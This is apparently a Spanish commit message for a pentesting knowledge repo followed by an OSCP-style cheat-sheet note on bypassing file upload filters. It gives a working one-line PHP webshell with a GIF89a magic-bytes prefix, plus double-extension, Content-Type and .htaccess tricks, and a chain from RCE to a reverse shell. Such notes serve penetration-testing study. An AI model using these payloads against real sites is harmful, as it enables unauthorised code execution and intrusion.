7e06ce46cf
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
563 B
563 B
File upload bypass
Subir una webshell cuando el upload está "filtrado". Vector de Hacking web. Manipula la subida con Burp Suite.
Trucos
Doble extensión → shell.php.jpg, shell.phtml, .phar, .pht
Magic bytes → GIF89a;<?php system($_GET['c']); ?>
Content-Type → Burp: cambiar a image/jpeg
.htaccess → reasignar el handler para que .jpg se ejecute como PHP
Flujo
- Subes la webshell evadiendo el filtro.
- La localizas (fuzzing de
/uploads/→ Enumeración web). ?c=...→ RCE → lanzas Reverse shell.